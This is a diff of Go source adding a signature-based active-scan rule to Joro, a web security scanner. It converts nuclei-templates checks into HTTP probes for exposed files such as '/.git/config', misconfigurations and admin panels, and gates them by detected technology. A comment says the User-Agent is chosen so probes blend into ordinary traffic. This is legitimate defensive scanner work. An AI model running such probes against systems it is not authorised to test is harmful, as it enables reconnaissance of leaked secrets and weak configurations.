[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project
|
||||
by ProjectDiscovery, used under the MIT License.
|
||||
|
||||
- Source: `github.com/projectdiscovery/nuclei-templates`
|
||||
- License: MIT (permits modification and redistribution with this notice)
|
||||
- Generated at design time by `tools/nucleigen` from commit
|
||||
`58670555f97912d95733b509e08061785f66e5e5` (subtrees `http/exposures`,
|
||||
`http/misconfiguration`, `http/exposed-panels`).
|
||||
|
||||
Each entry records the originating template id (`nucleiId`) and its path within
|
||||
the checkout (`source`). Only templates whose whole logic fits Joro's supported
|
||||
HTTP matcher subset were converted; the rest were dropped (see the converter's
|
||||
skip census). The dataset is regenerated, never hand-edited.
|
||||
|
||||
The MIT license text accompanies the ProjectDiscovery repository; this derivative
|
||||
is distributed under the same terms.
|
||||
@@ -0,0 +1,58 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// signaturesJSON is the normalized, curated check set produced at design time by
|
||||
// tools/nucleigen from a reviewed nuclei-templates checkout. It is embedded data,
|
||||
// not a Go dependency; the server never parses a nuclei YAML template.
|
||||
//
|
||||
//go:embed signatures.json
|
||||
var signaturesJSON []byte
|
||||
|
||||
// load parses and compiles the embedded dataset once, on the Rule instance (not a
|
||||
// package global, per the no-globals rule). A signature whose regex will not
|
||||
// compile under RE2 is dropped whole rather than run half-blind.
|
||||
func (r *Rule) load() ([]Signature, error) {
|
||||
r.once.Do(func() {
|
||||
var sigs []Signature
|
||||
if err := json.Unmarshal(signaturesJSON, &sigs); err != nil {
|
||||
r.err = err
|
||||
return
|
||||
}
|
||||
out := make([]Signature, 0, len(sigs))
|
||||
for i := range sigs {
|
||||
if compileSignature(&sigs[i]) {
|
||||
out = append(out, sigs[i])
|
||||
}
|
||||
}
|
||||
r.sigs = out
|
||||
})
|
||||
return r.sigs, r.err
|
||||
}
|
||||
|
||||
// compileSignature compiles every regex matcher in a signature. It returns false
|
||||
// if any regex is rejected by RE2, so the caller can drop the whole check.
|
||||
func compileSignature(sig *Signature) bool {
|
||||
for ri := range sig.Requests {
|
||||
req := &sig.Requests[ri]
|
||||
for mi := range req.Matchers {
|
||||
m := &req.Matchers[mi]
|
||||
if m.Type != "regex" {
|
||||
continue
|
||||
}
|
||||
m.compiled = m.compiled[:0]
|
||||
for _, expr := range m.Regexes {
|
||||
re, err := regexp.Compile(expr)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
m.compiled = append(m.compiled, re)
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
)
|
||||
|
||||
// selectSignatures narrows the dataset to what should run against one host: the
|
||||
// scan's tag/severity filters, then fingerprint gating.
|
||||
//
|
||||
// Gating runs a signature when it is tech-agnostic (no RequiresTech) or when one
|
||||
// of its required technologies is present on the host, version permitting. With
|
||||
// IgnoreFingerprint set, or no fingerprint store wired, gating is skipped and
|
||||
// every tag/severity-passing signature runs. When the host has a fingerprint but
|
||||
// nothing was detected, only tech-agnostic signatures run.
|
||||
func selectSignatures(sigs []Signature, cfg activescan.Config, deps activescan.RuleDeps, host string, disabled *activescan.DisabledSet) []Signature {
|
||||
tagFilter := lowerSet(cfg.Tags)
|
||||
sevFilter := lowerSet(cfg.Severity)
|
||||
|
||||
gate := !cfg.IgnoreFingerprint && deps.Tech != nil
|
||||
var detected map[string]string // lower tech name -> version ("" if unknown)
|
||||
if gate {
|
||||
detected = map[string]string{}
|
||||
if ht, ok := deps.Tech.Host(host); ok {
|
||||
for _, t := range ht.Technologies {
|
||||
detected[strings.ToLower(t.Name)] = t.Version
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]Signature, 0, len(sigs))
|
||||
for _, sig := range sigs {
|
||||
if !disabled.IsItemEnabled(sig.ID) {
|
||||
continue
|
||||
}
|
||||
if len(tagFilter) > 0 && !anyIn(sig.Tags, tagFilter) {
|
||||
continue
|
||||
}
|
||||
if len(sevFilter) > 0 && !sevFilter[strings.ToLower(sig.Severity)] {
|
||||
continue
|
||||
}
|
||||
if gate && !eligible(sig, detected) {
|
||||
continue
|
||||
}
|
||||
out = append(out, sig)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// eligible reports whether a signature's technology preconditions are met.
|
||||
func eligible(sig Signature, detected map[string]string) bool {
|
||||
if len(sig.RequiresTech) == 0 {
|
||||
return true
|
||||
}
|
||||
for _, req := range sig.RequiresTech {
|
||||
ver, ok := detected[strings.ToLower(req.Name)]
|
||||
if ok && versionOK(ver, req) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// versionOK applies a version constraint, failing open on an unknown version: a
|
||||
// detected-but-unversioned technology always satisfies the bound, because
|
||||
// skipping a possibly-vulnerable host is worse than an occasional wasted probe.
|
||||
func versionOK(detected string, req TechReq) bool {
|
||||
if detected == "" {
|
||||
return true
|
||||
}
|
||||
if req.MinVersion != "" && compareVersion(detected, req.MinVersion) < 0 {
|
||||
return false
|
||||
}
|
||||
if req.MaxVersion != "" && compareVersion(detected, req.MaxVersion) >= 0 {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// compareVersion compares dotted numeric versions, returning -1, 0 or 1. A
|
||||
// non-numeric segment compares as 0, which is lenient by design.
|
||||
func compareVersion(a, b string) int {
|
||||
as := strings.Split(a, ".")
|
||||
bs := strings.Split(b, ".")
|
||||
for i := 0; i < len(as) || i < len(bs); i++ {
|
||||
var x, y int
|
||||
if i < len(as) {
|
||||
x, _ = strconv.Atoi(numeric(as[i]))
|
||||
}
|
||||
if i < len(bs) {
|
||||
y, _ = strconv.Atoi(numeric(bs[i]))
|
||||
}
|
||||
if x != y {
|
||||
if x < y {
|
||||
return -1
|
||||
}
|
||||
return 1
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// numeric keeps the leading digit run of a version segment ("4rc1" -> "4").
|
||||
func numeric(s string) string {
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] < '0' || s[i] > '9' {
|
||||
return s[:i]
|
||||
}
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func lowerSet(in []string) map[string]bool {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]bool, len(in))
|
||||
for _, s := range in {
|
||||
if s = strings.ToLower(strings.TrimSpace(s)); s != "" {
|
||||
out[s] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func anyIn(vals []string, set map[string]bool) bool {
|
||||
for _, v := range vals {
|
||||
if set[strings.ToLower(v)] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// replacer substitutes the URL template tokens nuclei expands inside matcher
|
||||
// words at match time. BaseURL is the target origin; Host is its host[:port].
|
||||
type replacer struct {
|
||||
baseURL string
|
||||
host string
|
||||
}
|
||||
|
||||
func (r replacer) apply(s string) string {
|
||||
if !strings.Contains(s, "{{") {
|
||||
return s
|
||||
}
|
||||
s = strings.ReplaceAll(s, "{{BaseURL}}", r.baseURL)
|
||||
s = strings.ReplaceAll(s, "{{RootURL}}", r.baseURL)
|
||||
s = strings.ReplaceAll(s, "{{Hostname}}", r.host)
|
||||
s = strings.ReplaceAll(s, "{{Host}}", r.host)
|
||||
return s
|
||||
}
|
||||
|
||||
// evalMatchers evaluates a request's matcher set against a response and returns
|
||||
// whether it matched, with a short evidence string naming what matched.
|
||||
func evalMatchers(req *Request, resp httptools.Response, rp replacer) (bool, string) {
|
||||
if len(req.Matchers) == 0 {
|
||||
return false, ""
|
||||
}
|
||||
and := strings.EqualFold(req.MatchersCondition, "and")
|
||||
var evidence []string
|
||||
allOK := true
|
||||
anyOK := false
|
||||
for i := range req.Matchers {
|
||||
ok, ev := evalMatcher(&req.Matchers[i], resp, rp)
|
||||
if ok {
|
||||
anyOK = true
|
||||
if ev != "" {
|
||||
evidence = append(evidence, ev)
|
||||
}
|
||||
} else {
|
||||
allOK = false
|
||||
}
|
||||
}
|
||||
matched := anyOK
|
||||
if and {
|
||||
matched = allOK
|
||||
}
|
||||
if !matched {
|
||||
return false, ""
|
||||
}
|
||||
return true, strings.Join(evidence, "; ")
|
||||
}
|
||||
|
||||
// evalMatcher evaluates one matcher. Negative inverts the result; a negative
|
||||
// match reports no evidence (there is nothing to show).
|
||||
func evalMatcher(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
|
||||
ok, ev := matcherHit(m, resp, rp)
|
||||
if m.Negative {
|
||||
return !ok, ""
|
||||
}
|
||||
return ok, ev
|
||||
}
|
||||
|
||||
func matcherHit(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
|
||||
switch m.Type {
|
||||
case "status":
|
||||
for _, s := range m.Status {
|
||||
if resp.Status == s {
|
||||
return true, "status " + strconv.Itoa(s)
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
case "size":
|
||||
n := len(resp.Body)
|
||||
for _, s := range m.Sizes {
|
||||
if n == s {
|
||||
return true, "size " + strconv.Itoa(n)
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
case "word":
|
||||
return matchWords(m, part(m.Part, resp), rp)
|
||||
case "regex":
|
||||
return matchRegexes(m, part(m.Part, resp))
|
||||
default:
|
||||
return false, ""
|
||||
}
|
||||
}
|
||||
|
||||
// matchWords applies the word list with the matcher's and/or condition. Words are
|
||||
// matched case-insensitively, matching nuclei's default.
|
||||
func matchWords(m *Matcher, hay string, rp replacer) (bool, string) {
|
||||
if len(m.Words) == 0 {
|
||||
return false, ""
|
||||
}
|
||||
and := strings.EqualFold(m.Condition, "and")
|
||||
lower := strings.ToLower(hay)
|
||||
anyOK, allOK := false, true
|
||||
var first string
|
||||
for _, w := range m.Words {
|
||||
w = rp.apply(w)
|
||||
if strings.Contains(lower, strings.ToLower(w)) {
|
||||
anyOK = true
|
||||
if first == "" {
|
||||
first = w
|
||||
}
|
||||
} else {
|
||||
allOK = false
|
||||
}
|
||||
}
|
||||
if (and && allOK) || (!and && anyOK) {
|
||||
return true, "matched " + strconv.Quote(first)
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// matchRegexes applies the compiled regex list with the matcher's and/or
|
||||
// condition. The evidence is the first concrete match, truncated.
|
||||
func matchRegexes(m *Matcher, hay string) (bool, string) {
|
||||
if len(m.compiled) == 0 {
|
||||
return false, ""
|
||||
}
|
||||
and := strings.EqualFold(m.Condition, "and")
|
||||
anyOK, allOK := false, true
|
||||
var first string
|
||||
for _, re := range m.compiled {
|
||||
if loc := re.FindString(hay); loc != "" || re.MatchString(hay) {
|
||||
anyOK = true
|
||||
if first == "" {
|
||||
first = loc
|
||||
}
|
||||
} else {
|
||||
allOK = false
|
||||
}
|
||||
}
|
||||
if (and && allOK) || (!and && anyOK) {
|
||||
return true, "matched " + strconv.Quote(truncate(first, 80))
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// part selects the response region a matcher reads. Default is the body.
|
||||
func part(name string, resp httptools.Response) string {
|
||||
switch strings.ToLower(name) {
|
||||
case "header", "headers":
|
||||
return headerString(resp)
|
||||
case "all", "response", "raw":
|
||||
return headerString(resp) + "\r\n\r\n" + string(resp.Body)
|
||||
default:
|
||||
return string(resp.Body)
|
||||
}
|
||||
}
|
||||
|
||||
func headerString(resp httptools.Response) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "HTTP %d\r\n", resp.Status)
|
||||
for k, vs := range resp.Header {
|
||||
for _, v := range vs {
|
||||
b.WriteString(k)
|
||||
b.WriteString(": ")
|
||||
b.WriteString(v)
|
||||
b.WriteString("\r\n")
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func truncate(s string, n int) string {
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
return s[:n] + "…"
|
||||
}
|
||||
|
||||
// spreader distributes a rule's share of the run's URL-based total across its own
|
||||
// internal steps, so the scan's completed/total stays coherent when the rule's
|
||||
// real unit of work (signatures) differs from the planned unit (URLs).
|
||||
type spreader struct {
|
||||
rep activescan.Reporter
|
||||
budget int
|
||||
steps int
|
||||
done int
|
||||
emitted int
|
||||
}
|
||||
|
||||
func newSpreader(rep activescan.Reporter, budget, steps int) *spreader {
|
||||
return &spreader{rep: rep, budget: budget, steps: steps}
|
||||
}
|
||||
|
||||
func (p *spreader) step() {
|
||||
p.done++
|
||||
want := p.budget
|
||||
if p.steps > 0 {
|
||||
want = p.budget * p.done / p.steps
|
||||
}
|
||||
if want > p.budget {
|
||||
want = p.budget
|
||||
}
|
||||
if want > p.emitted {
|
||||
p.rep.Progress(want - p.emitted)
|
||||
p.emitted = want
|
||||
}
|
||||
}
|
||||
|
||||
func (p *spreader) finish() {
|
||||
if p.budget > p.emitted {
|
||||
p.rep.Progress(p.budget - p.emitted)
|
||||
p.emitted = p.budget
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// defaultUA is sent unless a signature overrides User-Agent. A plain browser
|
||||
// string keeps a probe from standing out from ordinary traffic.
|
||||
const defaultUA = "Mozilla/5.0 (compatible; Joro)"
|
||||
|
||||
// renderRequest builds raw HTTP/1.1 bytes for one probe against origin. The path
|
||||
// is {{BaseURL}}-relative; a stray {{BaseURL}} prefix or an absolute URL is
|
||||
// reduced to its path. Content-Length is computed from the body in hand; the
|
||||
// request never carries Transfer-Encoding.
|
||||
func renderRequest(origin string, req *Request, path string) ([]byte, error) {
|
||||
host, err := hostOf(origin)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
target := normalizePath(path)
|
||||
if strings.ContainsAny(target, "\r\n") {
|
||||
return nil, fmt.Errorf("illegal path")
|
||||
}
|
||||
|
||||
method := strings.ToUpper(strings.TrimSpace(req.Method))
|
||||
if method == "" {
|
||||
method = "GET"
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "%s %s HTTP/1.1\r\n", method, target)
|
||||
fmt.Fprintf(&b, "Host: %s\r\n", host)
|
||||
|
||||
sentUA, sentAccept := false, false
|
||||
for k, v := range req.Headers {
|
||||
if strings.ContainsAny(k, "\r\n:") || strings.ContainsAny(v, "\r\n") {
|
||||
continue
|
||||
}
|
||||
switch strings.ToLower(k) {
|
||||
case "user-agent":
|
||||
sentUA = true
|
||||
case "accept":
|
||||
sentAccept = true
|
||||
case "host", "content-length":
|
||||
continue // Host is set above; Content-Length is computed below
|
||||
}
|
||||
fmt.Fprintf(&b, "%s: %s\r\n", k, v)
|
||||
}
|
||||
if !sentUA {
|
||||
fmt.Fprintf(&b, "User-Agent: %s\r\n", defaultUA)
|
||||
}
|
||||
if !sentAccept {
|
||||
b.WriteString("Accept: */*\r\n")
|
||||
}
|
||||
b.WriteString("Connection: close\r\n")
|
||||
b.WriteString("\r\n")
|
||||
b.WriteString(req.Body)
|
||||
|
||||
return httptools.UpdateContentLength([]byte(b.String())), nil
|
||||
}
|
||||
|
||||
// hostOf returns the host[:port] of an origin.
|
||||
func hostOf(origin string) (string, error) {
|
||||
u, err := url.Parse(origin)
|
||||
if err != nil || u.Host == "" {
|
||||
return "", fmt.Errorf("bad origin %q", origin)
|
||||
}
|
||||
return u.Host, nil
|
||||
}
|
||||
|
||||
// normalizePath reduces a signature path to an origin-form request target.
|
||||
func normalizePath(p string) string {
|
||||
p = strings.TrimSpace(p)
|
||||
p = strings.ReplaceAll(p, "{{BaseURL}}", "")
|
||||
p = strings.ReplaceAll(p, "{{Hostname}}", "")
|
||||
if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
|
||||
p = originPath(p)
|
||||
}
|
||||
if p == "" {
|
||||
return "/"
|
||||
}
|
||||
if !strings.HasPrefix(p, "/") {
|
||||
p = "/" + p
|
||||
}
|
||||
return p
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,338 @@
|
||||
// Package templatesig is the active-scan signature rule: it sends crafted HTTP
|
||||
// requests and files a finding when the response matches a check. The checks are
|
||||
// an embedded, normalized dataset mined at design time from nuclei-templates (see
|
||||
// tools/nucleigen) — the server never parses a nuclei YAML template, only this
|
||||
// vetted schema.
|
||||
//
|
||||
// # Fingerprint-gated
|
||||
//
|
||||
// Before sending, the rule reads the passive technology fingerprint of the host
|
||||
// (internal/techfp) and runs only the signatures whose RequiresTech matches the
|
||||
// detected stack, plus the tech-agnostic ones. A WordPress host is probed for
|
||||
// WordPress and PHP checks, not for Jira or Drupal ones. Gating is version-aware
|
||||
// but fail-open: a version constraint narrows only when the version is known.
|
||||
//
|
||||
// # Fail-closed at the source, not here
|
||||
//
|
||||
// The matcher vocabulary is deliberately small (status, word, regex, size, with
|
||||
// and/or and negation). That is not a runtime limitation to work around: the
|
||||
// converter emits a signature only when a template's whole logic fits this
|
||||
// vocabulary, and drops the rest. So a signature that reaches this package is one
|
||||
// Joro can evaluate faithfully — there is no partial evaluation that could report
|
||||
// a vulnerable target as safe.
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "templatesig"
|
||||
findingRule = "activescan.templatesig"
|
||||
|
||||
perRequestTimeout = 15 * time.Second
|
||||
// maxRespBytes is the response body a match needs; the send default is sized
|
||||
// only to fingerprint, which is too little for a body word/regex matcher.
|
||||
maxRespBytes = 1 << 20
|
||||
)
|
||||
|
||||
// TechReq is a technology precondition on a signature. An empty Name list on a
|
||||
// signature means tech-agnostic (always eligible). MinVersion is inclusive,
|
||||
// MaxVersion exclusive; either may be empty.
|
||||
type TechReq struct {
|
||||
Name string `json:"name"`
|
||||
MinVersion string `json:"minVersion,omitempty"`
|
||||
MaxVersion string `json:"maxVersion,omitempty"`
|
||||
}
|
||||
|
||||
// Matcher is one condition evaluated against a response.
|
||||
type Matcher struct {
|
||||
Type string `json:"type"` // status | word | regex | size
|
||||
Part string `json:"part,omitempty"` // body | header | all (default body)
|
||||
Status []int `json:"status,omitempty"`
|
||||
Words []string `json:"words,omitempty"`
|
||||
Regexes []string `json:"regexes,omitempty"`
|
||||
Sizes []int `json:"sizes,omitempty"`
|
||||
Condition string `json:"condition,omitempty"` // and | or across words/regexes (default or)
|
||||
Negative bool `json:"negative,omitempty"`
|
||||
|
||||
compiled []*regexp.Regexp // filled by compile()
|
||||
}
|
||||
|
||||
// Request is one probe: a method and one or more paths sharing a matcher set.
|
||||
type Request struct {
|
||||
Method string `json:"method"`
|
||||
Paths []string `json:"paths"` // {{BaseURL}}-relative, e.g. "/.git/config"
|
||||
Headers map[string]string `json:"headers,omitempty"`
|
||||
Body string `json:"body,omitempty"`
|
||||
Matchers []Matcher `json:"matchers"`
|
||||
MatchersCondition string `json:"matchersCondition,omitempty"` // and | or (default or)
|
||||
StopAtFirstMatch bool `json:"stopAtFirstMatch,omitempty"`
|
||||
}
|
||||
|
||||
// Signature is one normalized check mined from a nuclei template.
|
||||
type Signature struct {
|
||||
ID string `json:"id"`
|
||||
NucleiID string `json:"nucleiId,omitempty"`
|
||||
Name string `json:"name"`
|
||||
Severity string `json:"severity"`
|
||||
Description string `json:"description,omitempty"`
|
||||
Remediation string `json:"remediation,omitempty"`
|
||||
Reference []string `json:"reference,omitempty"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
Source string `json:"source,omitempty"`
|
||||
RequiresTech []TechReq `json:"requiresTech,omitempty"`
|
||||
Requests []Request `json:"requests"`
|
||||
}
|
||||
|
||||
// Rule implements activescan.Rule and activescan.Cataloger over the embedded
|
||||
// signature set. The per-signature enable/disable half of Cataloger comes from the
|
||||
// embedded *activescan.DisabledSet (per-project session state set by
|
||||
// applyProjectConfig and read by buildProjectConfig).
|
||||
type Rule struct {
|
||||
once sync.Once
|
||||
sigs []Signature
|
||||
err error
|
||||
*activescan.DisabledSet
|
||||
}
|
||||
|
||||
// New returns the template-signature rule. The embedded dataset is parsed and its
|
||||
// regexes compiled lazily on first Run, off the server boot path.
|
||||
func New() *Rule { return &Rule{DisabledSet: activescan.NewDisabledSet()} }
|
||||
|
||||
// RuleID is the stable registry id of this rule, for callers that resolve the
|
||||
// concrete rule from the registry.
|
||||
func RuleID() string { return ruleID }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Template signatures" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryTemplate }
|
||||
|
||||
func (*Rule) Description() string {
|
||||
return "HTTP request signatures mined from nuclei templates — exposed files, " +
|
||||
"known-vulnerable fingerprints, misconfigurations, and exposed panels. Fingerprint-" +
|
||||
"gated: only signatures matching a host's detected technology stack run, plus the " +
|
||||
"tech-agnostic ones."
|
||||
}
|
||||
|
||||
// CatalogItems maps each loaded signature to a neutral catalog item for the UI.
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
sigs, err := r.load()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
out := make([]activescan.CatalogItem, 0, len(sigs))
|
||||
for i := range sigs {
|
||||
sig := &sigs[i]
|
||||
var method string
|
||||
var paths []string
|
||||
if len(sig.Requests) > 0 {
|
||||
method = sig.Requests[0].Method
|
||||
paths = sig.Requests[0].Paths
|
||||
}
|
||||
tech := make([]string, 0, len(sig.RequiresTech))
|
||||
for _, t := range sig.RequiresTech {
|
||||
tech = append(tech, t.Name)
|
||||
}
|
||||
detail := []activescan.CatalogField{}
|
||||
add := func(label, value string) {
|
||||
if value != "" {
|
||||
detail = append(detail, activescan.CatalogField{Label: label, Value: value})
|
||||
}
|
||||
}
|
||||
if method != "" || len(paths) > 0 {
|
||||
add("Request", strings.TrimSpace(method+" "+strings.Join(paths, ", ")))
|
||||
}
|
||||
add("Required technology", strings.Join(tech, ", "))
|
||||
add("Tags", strings.Join(sig.Tags, ", "))
|
||||
add("References", strings.Join(sig.Reference, "\n"))
|
||||
add("Nuclei ID", sig.NucleiID)
|
||||
add("Source", sig.Source)
|
||||
out = append(out, activescan.CatalogItem{
|
||||
ID: sig.ID,
|
||||
Name: sig.Name,
|
||||
Severity: sig.Severity,
|
||||
Confidence: string(sig.Confidence()),
|
||||
Target: string(detect.TargetMessage),
|
||||
Description: sig.Description,
|
||||
Remediation: sig.Remediation,
|
||||
Enabled: r.IsItemEnabled(sig.ID),
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Run selects the eligible signatures for the target's technology stack and
|
||||
// probes each, filing a finding per confirmed match.
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
sigs, err := r.load()
|
||||
if err != nil {
|
||||
return fmt.Errorf("load signatures: %w", err)
|
||||
}
|
||||
|
||||
selected := selectSignatures(sigs, cfg, deps, t.Host, r.DisabledSet)
|
||||
prog := newSpreader(rep, len(t.URLs), len(selected))
|
||||
defer prog.finish()
|
||||
|
||||
send := httptools.SendDeps{
|
||||
ProxyAddr: deps.ProxyAddr,
|
||||
CA: deps.CA,
|
||||
Store: deps.Store,
|
||||
MaxRespBytes: maxRespBytes,
|
||||
}
|
||||
|
||||
for _, sig := range selected {
|
||||
if ctx.Err() != nil {
|
||||
return ctx.Err()
|
||||
}
|
||||
r.runSignature(ctx, t, sig, send, rep)
|
||||
prog.step()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// runSignature probes every request/path of one signature, stopping a request's
|
||||
// path sweep at the first match when the signature asks for it.
|
||||
func (r *Rule) runSignature(ctx context.Context, t activescan.Target, sig Signature, send httptools.SendDeps, rep activescan.Reporter) {
|
||||
for ri := range sig.Requests {
|
||||
req := &sig.Requests[ri]
|
||||
for _, path := range req.Paths {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
raw, err := renderRequest(t.Origin, req, path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
reqCtx, cancel := context.WithTimeout(ctx, perRequestTimeout)
|
||||
sent, err := httptools.SendViaProxy(reqCtx, raw, t.Scheme, t.Host, send)
|
||||
cancel()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
resp := httptools.ReadResponse(sent.RespRaw)
|
||||
rp := replacer{baseURL: strings.TrimRight(t.Origin, "/"), host: t.Host}
|
||||
ok, evidence := evalMatchers(req, resp, rp)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
rep.Finding(buildFinding(t.Host, t.Origin, path, sent.URL, sig, evidence))
|
||||
if req.StopAtFirstMatch {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// buildFinding maps a confirmed match to a detect.Finding in detect's identity
|
||||
// space, deduped per signature, host and path.
|
||||
func buildFinding(host, origin, path, sentURL string, sig Signature, evidence string) detect.Finding {
|
||||
now := time.Now()
|
||||
u := sentURL
|
||||
if u == "" {
|
||||
u = strings.TrimRight(origin, "/") + path
|
||||
}
|
||||
detail := sig.Name
|
||||
if sig.NucleiID != "" {
|
||||
detail = sig.NucleiID + ": " + sig.Name
|
||||
}
|
||||
return detect.Finding{
|
||||
ID: detect.FindingID(sig.ID, host, path),
|
||||
RuleID: findingRule,
|
||||
RuleName: sig.Name,
|
||||
Category: detect.CategoryTemplate,
|
||||
Severity: mapSeverity(sig.Severity),
|
||||
Confidence: confidenceFor(sig),
|
||||
Target: detect.TargetMessage,
|
||||
Host: host,
|
||||
Method: requestMethod(sig),
|
||||
URL: u,
|
||||
Detail: detail,
|
||||
Evidence: evidence,
|
||||
FirstSeen: now,
|
||||
LastSeen: now,
|
||||
EvidenceOffset: -1,
|
||||
}
|
||||
}
|
||||
|
||||
func requestMethod(sig Signature) string {
|
||||
if len(sig.Requests) > 0 && sig.Requests[0].Method != "" {
|
||||
return strings.ToUpper(sig.Requests[0].Method)
|
||||
}
|
||||
return "GET"
|
||||
}
|
||||
|
||||
// mapSeverity converts a nuclei severity string to a detect.Severity, defaulting
|
||||
// to info for an unknown value.
|
||||
func mapSeverity(s string) detect.Severity {
|
||||
switch strings.ToLower(strings.TrimSpace(s)) {
|
||||
case "critical":
|
||||
return detect.SeverityCritical
|
||||
case "high":
|
||||
return detect.SeverityHigh
|
||||
case "medium":
|
||||
return detect.SeverityMedium
|
||||
case "low":
|
||||
return detect.SeverityLow
|
||||
default:
|
||||
return detect.SeverityInfo
|
||||
}
|
||||
}
|
||||
|
||||
// Confidence is the finding confidence a match of this signature carries, for the
|
||||
// catalog UI. It is the same value buildFinding files.
|
||||
func (sig Signature) Confidence() detect.Confidence { return confidenceFor(sig) }
|
||||
|
||||
// confidenceFor estimates confidence from matcher strength: a regex or a
|
||||
// multi-term/status-qualified match is high; a lone word is medium; a bare status
|
||||
// match is low. Nuclei carries no confidence of its own.
|
||||
func confidenceFor(sig Signature) detect.Confidence {
|
||||
hasRegex, words, hasStatus, nonStatus := false, 0, false, false
|
||||
for _, req := range sig.Requests {
|
||||
for _, m := range req.Matchers {
|
||||
switch m.Type {
|
||||
case "regex":
|
||||
hasRegex = true
|
||||
nonStatus = true
|
||||
case "word":
|
||||
words += len(m.Words)
|
||||
nonStatus = true
|
||||
case "status":
|
||||
hasStatus = true
|
||||
case "size":
|
||||
nonStatus = true
|
||||
}
|
||||
}
|
||||
}
|
||||
switch {
|
||||
case hasRegex || (hasStatus && nonStatus) || words > 1:
|
||||
return detect.ConfidenceHigh
|
||||
case words == 1 || nonStatus:
|
||||
return detect.ConfidenceMedium
|
||||
default:
|
||||
return detect.ConfidenceLow
|
||||
}
|
||||
}
|
||||
|
||||
// originPath splits an absolute URL into its path+query, for rendering.
|
||||
func originPath(raw string) string {
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil || u.Path == "" {
|
||||
return raw
|
||||
}
|
||||
if u.RawQuery != "" {
|
||||
return u.Path + "?" + u.RawQuery
|
||||
}
|
||||
return u.Path
|
||||
}
|
||||
@@ -44,6 +44,11 @@ func (s *APIServer) resetDetectCursor(seq int) {
|
||||
s.echoStore.Clear()
|
||||
}
|
||||
}
|
||||
// Technology fingerprinting walks the same sequence numbering, so it resets
|
||||
// here too; at seq 0 ResetCursor also clears its derived host map.
|
||||
if s.techEngine != nil {
|
||||
s.techEngine.ResetCursor(seq)
|
||||
}
|
||||
if s.detectScanner == nil {
|
||||
return
|
||||
}
|
||||
@@ -70,3 +75,13 @@ func (s *APIServer) StartEchoLoop(ctx context.Context) {
|
||||
}
|
||||
go s.echoEngine.Run(ctx)
|
||||
}
|
||||
|
||||
// StartTechLoop launches the passive technology fingerprinter. Like the echo
|
||||
// loop it runs unconditionally and no-ops per tick while disabled; it compiles
|
||||
// the embedded Wappalyzer database on its own goroutine, off the boot path.
|
||||
